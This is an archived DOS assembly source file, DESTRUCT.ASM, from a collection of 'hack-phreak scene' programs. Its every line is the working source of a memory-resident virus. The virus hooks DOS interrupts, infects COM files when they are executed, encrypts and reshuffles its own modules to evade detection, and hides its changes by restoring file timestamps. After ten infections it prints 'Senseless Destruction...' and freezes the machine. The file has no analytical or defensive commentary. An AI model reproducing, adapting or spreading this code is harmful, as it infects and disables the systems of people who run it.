home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DESTRUCT.ASM < prev    next >
Assembly Source File  |  1995-01-02  |  13KB  |  518 lines

  1.  
  2. code       segment
  3.        assume cs:code,ds:code
  4.        .radix 16
  5.        org  100
  6. start:
  7.        push word ptr cs:[tabb+2]
  8.        push cs
  9.        pop  ds
  10.               jmp  loopshit
  11. otto:
  12.               jmp  start
  13. loopshit:
  14.               jmp  word ptr cs:[tabb]
  15.  
  16. curofs       dw   ?
  17. files       db   0         ;number of infected files from this copy
  18. fsize       dw   2         ;size of infected file
  19. ftime       dw     ?
  20. fdate       dw     ?
  21. stdint21      dd     ?
  22. oldint13      dd     ?
  23. oldint21      dd     ?
  24. oldint24      dd     ?
  25.  
  26. ;------------- TABLE WITH MODULE PARAMETERS --------------------
  27. tabb :
  28.        dw   offset false_mod_1 ;00
  29.        dw   offset mod_2       ;02
  30.        dw   offset mod_3       ;04
  31.        dw   offset mod_4       ;06        ;offset modules
  32.        dw   offset mod_5       ;08
  33.        dw   offset mod_6       ;0a
  34.        dw   offset mod_7       ;0c
  35.        dw   offset mod_8       ;0e
  36.  
  37.        dw   offset mod_2 - offset mod_1;10
  38.        dw   offset mod_3 - offset mod_2;12
  39.        dw   offset mod_4 - offset mod_3;14
  40.        dw   offset mod_5 - offset mod_4;16
  41.        dw   offset mod_6 - offset mod_5;18 ;size modules
  42.        dw   offset mod_7 - offset mod_6;1a
  43.        dw   offset mod_8 - offset mod_7;1c
  44.        dw   offset myend - offset mod_8;1e
  45.  
  46.  
  47. ;------------- MODULE - 1 - CODER/DECODER ----------------------
  48. mod_1:
  49.        mov  bx,offset tabb+2   ;first module to working (module 2)
  50.        mov  cx,6         ;number of modules to working
  51. mod_1_lp1:
  52.        cmp  bx,offset tabb+0a
  53.        jne  mod_1_cont
  54.        add  bx,2
  55. mod_1_cont:
  56.        push bx
  57.        push cx
  58.        mov  ax,[bx]        ;ax - offset module
  59.        mov  cx,[bx+10]        ;cx - size of module
  60.        mov  bx,ax
  61. mod_1_lp2:
  62.        xor  byte ptr [bx],al
  63.        inc  bx
  64.        loop mod_1_lp2
  65.        pop  cx
  66.        pop  bx
  67.        add  bx,2
  68.        loop mod_1_lp1
  69.        ret
  70.  
  71. ;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
  72. mod_2:
  73.        ;instalation check
  74.  
  75.        mov    es,cs:[2]       ;memory size
  76.        mov    di,100
  77.        mov    si,100
  78.        mov    cx,0bh
  79.        repe   cmpsb
  80.        jne    mod_2_install      ;jump if not install
  81.        jmp    word ptr cs:[tabb+06]  ;if install, jump to module 4
  82.  
  83. mod_2_install:
  84.        ;instalation
  85.  
  86.        mov    ax,cs
  87.        dec    ax
  88.        mov    ds,ax
  89.  
  90.        cmp    byte ptr ds:[0],'Z'
  91.        je     mod_2_cont
  92.  
  93.        jmp    word ptr cs:[tabb+6]     ;if no last MCB - go to mod4
  94.  
  95. mod_2_cont:
  96.        sub    word ptr ds:[3],0c0
  97.        mov    ax,es
  98.        sub    ax,0c0
  99.        mov    es,ax
  100.        mov    word ptr ds:[12],ax       ;decrement memory size with 2K
  101.        push   cs
  102.        pop    ds
  103.  
  104. mod_2_mut:
  105.        mov  byte ptr cs:files,0
  106.  
  107.        mov  di,100
  108.        mov  cx,offset mod_1-100
  109.        mov  si,100
  110.        rep  movsb     ;write table to new memory
  111.  
  112.        mov  bx,word ptr cs:[tabb]
  113.        add  bx,offset mod_1_lp2-offset mod_1+1
  114.        xor  byte ptr [bx],18      ;change code method
  115.  
  116.        mov  cx,8
  117.        mov  word ptr curofs,offset mod_1
  118. mod_2_lp1:
  119.        push cx
  120.        call mod_2_rnd ;generate random module addres
  121.        push bx      ;addres in table returned from mod_2_rnd
  122.        mov  ax,[bx]   ;offset module
  123.        push ax
  124.        add  bx,10
  125.        mov  cx,[bx]   ;length of module
  126.        pop  si
  127.        pop  bx
  128.        xchg di,curofs
  129.        mov  word ptr es:[bx],di ;change module offset in table
  130.        rep  movsb        ;copy module to new memory
  131.        xchg di,curofs        ;change current offset in new memory
  132.        mov  ax,8000
  133.        or   word ptr [bx],ax    ;mark module - used
  134.        pop  cx
  135.        loop mod_2_lp1
  136.        mov  cl,8
  137.        not  ax
  138.        mov  bx,offset tabb
  139. mod_2_lp2:
  140.        and  word ptr [bx],ax    ;unmark all modules
  141.        add  bx,2
  142.        loop mod_2_lp2
  143.  
  144.        jmp  word ptr cs:[tabb+4]  ;go to module 3
  145.  
  146. mod_2_rnd:
  147.        push cx
  148.        push es
  149.        xor  cx,cx
  150.        mov  es,cx
  151. mod_2_lp3:
  152.        mov  bx,es:[46c]
  153.        db 81,0e3,07,00  ;and bx,7
  154.        shl  bx,1
  155.        add  bx,offset tabb
  156.        test [bx],8000
  157.        jnz  mod_2_lp3
  158.        pop  es
  159.        pop  cx
  160.        ret
  161.  
  162. ;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
  163. mod_3:
  164.        xor    ax,ax
  165.        mov    ds,ax
  166.  
  167.        mov    ax,ds:[4*21]
  168.        mov    word ptr es:[oldint21],ax
  169.        mov    ax,ds:[4*21+2]
  170.        mov    word ptr es:[oldint21+2],ax
  171.  
  172.        mov    ah,30
  173.        int    21
  174.        cmp    ax,1e03
  175.        jne    mod_3_getvec
  176.  
  177.        mov    word ptr es:[stdint21],1460
  178.        mov    ax,1203
  179.        push   ds
  180.        int    2f
  181.        mov    word ptr es:[stdint21+2],ds
  182.        pop    ds
  183.        jmp    mod_3_setvec
  184.  
  185. mod_3_getvec:
  186.        mov    ax,ds:[4*21]
  187.        mov    word ptr es:[stdint21],ax
  188.        mov    ax,ds:[4*21+2]
  189.        mov    word ptr es:[stdint21+2],ax
  190.  
  191. mod_3_setvec:
  192.        cli
  193.        mov    ax,word ptr es:[tabb+0c]
  194.        mov    ds:[4*21],ax
  195.        mov    ax,es
  196.        mov    ds:[4*21+2],ax
  197.        sti
  198.  
  199.        mov    cx,es
  200.        mov    ah,13    ;
  201.        int    2f     ;
  202.        push   es     ;
  203.        mov    es,cx    ;
  204.        mov    word ptr es:[oldint13],dx  ; get standart int13 addres
  205.        mov    word ptr es:[oldint13+2],ds ;
  206.        pop    es     ;
  207.        int    2f     ;
  208.  
  209.        jmp    word ptr cs:[tabb+06]        ;go to module 4
  210.  
  211. ;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
  212. mod_4:
  213.        push   cs
  214.        push   cs
  215.        pop    ds
  216.        pop    es
  217.        mov    si,word ptr cs:[tabb+06]
  218.        add    si,offset mod_4_cont - offset mod_4
  219.        mov    di,cs:fsize
  220.        add    di,offset myend+1
  221.        push   di
  222.        mov    cx,offset mod_5 - offset mod_4_cont
  223.        cld
  224.        rep    movsb
  225.        ret
  226. mod_4_cont:
  227.        mov    si,cs:fsize
  228.        add    si,100
  229.  
  230.        cmp    si,offset myend+1
  231.        jnc    mod_4_cnt
  232.        mov    si,offset myend+1
  233. mod_4_cnt:
  234.        mov    di,100
  235.        mov    cx,offset myend-100
  236.        rep    movsb
  237.        mov    ax,100   ;
  238.        push   ax       ; jmp 100
  239.        ret       ;
  240.  
  241. ;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
  242. mod_5:
  243.        mov    ah,9
  244.        mov    dx,word ptr [tabb+8]
  245.        add    dx,offset msg-offset mod_5
  246.        push   cs
  247.        pop    ds
  248.        int    21
  249.        cli
  250.        hlt
  251.  
  252. msg           db     0dh,0a,'Senseless Destruction...',7,7,'$'
  253.  
  254. ;------------- MODULE - 6 - INT 24 HEADER -----------------------
  255. mod_6:
  256.        mov    al,3
  257.        iret
  258.               db     'Protecting what we are ',0
  259.               db     'joining together to take on the world.. ',0
  260.               db     'METAL MiLiTiA [iMM0RTAL Ri0T] ',0
  261.  
  262.  
  263.  
  264.  
  265. ;------------- MODULE - 7 - INT 21 HEADER -----------------------
  266. mod_7:
  267.        push   bx
  268.        push   si
  269.        push   di
  270.        push   es
  271.        push   ax
  272.  
  273.        cmp    ax,4b00
  274.        je     mod_7_begin
  275.               jmp    mod_7_exit
  276. mod_7_begin:
  277.        push   ds
  278.        push   cs           ;
  279.        pop    es           ;
  280.        xor    ax,ax          ;
  281.        mov    ds,ax          ;
  282.        mov    si,4*24          ;
  283.        mov    di,offset oldint24         ;
  284.        movsw           ;   change int24 vector
  285.        movsw           ;
  286.        mov    ax,word ptr cs:[tabb+0a]        ;
  287.        cli           ;
  288.        mov    ds:[4*24],ax         ;
  289.        mov    ax,cs          ;
  290.        mov    ds:[4*24+2],ax         ;
  291.        sti
  292.        pop    ds
  293.  
  294.        mov    ax,3d00          ;
  295.        pushf           ;
  296.        call   cs:oldint21         ;
  297.        jc     mod_7_ex          ; open,infect,close file
  298.        mov    bx,ax          ;
  299. mod_7_infect:                           ;
  300.           call   word ptr cs:[tabb+0e]           ;
  301.           pushf
  302.           mov    ah,3e                   ;
  303.           pushf                       ;
  304.           call   cs:oldint21               ;
  305.           popf
  306.           jc     mod_7_ex
  307.  
  308.           push   ds              ;
  309.           cli                 ;
  310.           xor    ax,ax             ;
  311.           mov    ds,ax             ;
  312.           mov    ax,word ptr cs:[oldint13]     ;
  313.           xchg   ax,word ptr ds:[4*13]     ;
  314.           mov    word ptr cs:[oldint13],ax     ; exchange int13 vectors
  315.           mov    ax,word ptr cs:[oldint13+2] ;
  316.           xchg   ax,word ptr ds:[4*13+2]     ;
  317.           mov    word ptr cs:[oldint13+2],ax ;
  318.           sti                 ;
  319.           pop    ds              ;
  320. mod_7_ex:
  321.           push   ds                    ;
  322.           xor    ax,ax                   ;
  323.           mov    ds,ax                   ;
  324.           mov    ax,word ptr cs:oldint24           ;
  325.           mov    ds:[4*24],ax               ;
  326.           mov    ax,word ptr cs:oldint24+2           ; restore int24 vector
  327.           mov    ds:[4*24+2],ax               ;
  328.           pop    ds                    ;
  329.  
  330. mod_7_exit:
  331.           pop    ax
  332.           pop    es
  333.           pop    di
  334.           pop    si
  335.           pop    bx
  336.  
  337.           jmp    cs:oldint21
  338.  
  339. ;------------- MODULE - 8 - INFECTING (bx - file handle) --------
  340. mod_8:
  341.           push   cx
  342.           push   dx
  343.           push   ds
  344.           push   es
  345.           push   di
  346.           push   bp
  347.  
  348.           push   bx
  349.           mov    ax,1220
  350.           int    2f
  351.           mov    bl,es:[di]
  352.           xor    bh,bh
  353.           mov    ax,1216
  354.           int    2f
  355.           pop    bx
  356.  
  357.           mov    ax,word ptr es:[di+11]
  358.           cmp    ax,0f000
  359.           jc     mod_8_c
  360.           jmp    mod_8_exit
  361.  
  362. mod_8_c:
  363.           mov    word ptr es:[di+2],2           ;open mode - R/W
  364.  
  365.           mov    ax,es:[di+11]
  366.           mov    cs:fsize,ax           ; save file size
  367.  
  368.           mov    ax,word ptr es:[di+0dh]   ;
  369.           mov    word ptr cs:[ftime],ax    ; save file date/time
  370.           mov    ax,word ptr es:[di+0f]    ;
  371.           mov    word ptr cs:[fdate],ax    ;
  372.  
  373.           push   cs              ;
  374.           pop    ds              ;
  375.           mov    dx,offset myend+1         ;
  376.           mov    cx,offset myend-100     ; read first bytes
  377.           mov    ah,3f             ;
  378.           pushf
  379.           call   cs:oldint21
  380.           jnc    mod_8_cnt
  381.           jmp    mod_8_exit
  382.  
  383. mod_8_cnt:
  384.           mov    bp,ax             ; ax - bytes read
  385.           mov    si,dx
  386.           mov    ax,'MZ'
  387.           cmp    ax,word ptr ds:[si]
  388.           jne    mod_8_nxtchk
  389.           jmp    mod_8_exit
  390. mod_8_nxtchk:
  391.           xchg   ah,al
  392.           cmp    ax,ds:[si]
  393.           jne    mod_8_cnt2
  394.           jmp    mod_8_exit
  395.  
  396. mod_8_cnt2:
  397.           push   es
  398.           push   di
  399.           push   cs              ;
  400.           pop    es              ;
  401.           mov    si,100             ;
  402.           mov    di,dx             ; check for infected file
  403.           mov    cx,0bh             ;
  404.           repe   cmpsb             ;
  405.           pop    di
  406.           pop    es
  407.           jne    mod_8_cnt1          ;
  408.           jmp    mod_8_exit
  409. mod_8_cnt1:
  410.           mov    word ptr es:[di+15],0     ; fp:=0
  411.  
  412.           push   es
  413.           push   di
  414.           mov    si,word ptr cs:[tabb+0e]
  415.           add    si,offset mod_8_cont - offset mod_8
  416.           xor    di,di
  417.           push   cs
  418.           pop    es
  419.           mov    cx,offset mod_8_cont_end - offset mod_8_cont
  420.           cld
  421.           rep    movsb
  422.           pop    di
  423.           pop    es
  424.  
  425.           mov    si,word ptr cs:[tabb+0e]
  426.           add    si,offset mod_8_cont_end - offset mod_8
  427.           push   si
  428.           xor    si,si
  429.           push   si
  430.  
  431.           push   ds              ;
  432.           cli                 ;
  433.           xor    ax,ax             ;
  434.           mov    ds,ax             ;
  435.           mov    ax,word ptr cs:[oldint13]     ;
  436.           xchg   ax,word ptr ds:[4*13]     ;
  437.           mov    word ptr cs:[oldint13],ax     ;
  438.           mov    ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
  439.           xchg   ax,word ptr ds:[4*13+2]     ;
  440.           mov    word ptr cs:[oldint13+2],ax ;
  441.           sti                 ;
  442.           pop    ds              ;
  443.  
  444.           ret
  445.  
  446. mod_8_cont:
  447.           push   bx
  448.           call   word ptr cs:[tabb]     ; code virus
  449.           pop    bx
  450.  
  451.           mov    dx,100             ;
  452.           mov    ah,40             ; write code in begin
  453.           mov    cx,offset myend-0ff
  454.           pushf                 ;
  455.           call   cs:stdint21         ;
  456.  
  457.           pushf
  458.           push   bx
  459.           call   word ptr cs:[tabb]     ; decode virus
  460.           pop    bx
  461.           popf
  462.           jnc    mod_8_cont1
  463.           pop    ax
  464.           mov    ax,word ptr cs:[tabb+0e]
  465.           add    ax,offset mod_8_ext - offset mod_8
  466.           push   ax
  467.           ret
  468. mod_8_cont1:
  469.           mov    ax,es:[di+11]         ; fp:=end of file
  470.           mov    word ptr es:[di+15],ax     ;
  471.  
  472.           mov    dx,offset myend+1
  473.           mov    cx,bp             ; bp - files read
  474.           mov    ah,40             ;
  475.           pushf                 ;
  476.           call   cs:stdint21         ; write in end of file
  477.  
  478.           ret
  479.  
  480. mod_8_cont_end:
  481.           mov    ax,5701     ;
  482.           mov    cx,cs:ftime ;
  483.           mov    dx,cs:fdate ; restore file date/time
  484.           pushf         ;
  485.           call   cs:oldint21 ;
  486.  
  487.           inc    cs:files
  488.           cmp    cs:files,0a
  489.           jne    mod_8_ext
  490.           call   word ptr cs:[tabb+8]
  491.           jmp    short mod_8_ext
  492. mod_8_exit:
  493.           stc
  494.           jmp    short mod_8_ex
  495. mod_8_ext:
  496.           clc
  497. mod_8_ex:
  498.           pop    bp
  499.           pop    di
  500.           pop    es
  501.           pop    ds
  502.           pop    dx
  503.           pop    cx
  504.           ret
  505.  
  506. ;---------------------------------------------------------------
  507.  
  508. myend          db   0
  509.  
  510.           int    20            ;code of infected file
  511.  
  512. false_mod_1:
  513.           mov     word ptr cs:[tabb],offset mod_1
  514.           ret
  515.  
  516. code          ends
  517.           end  start
  518.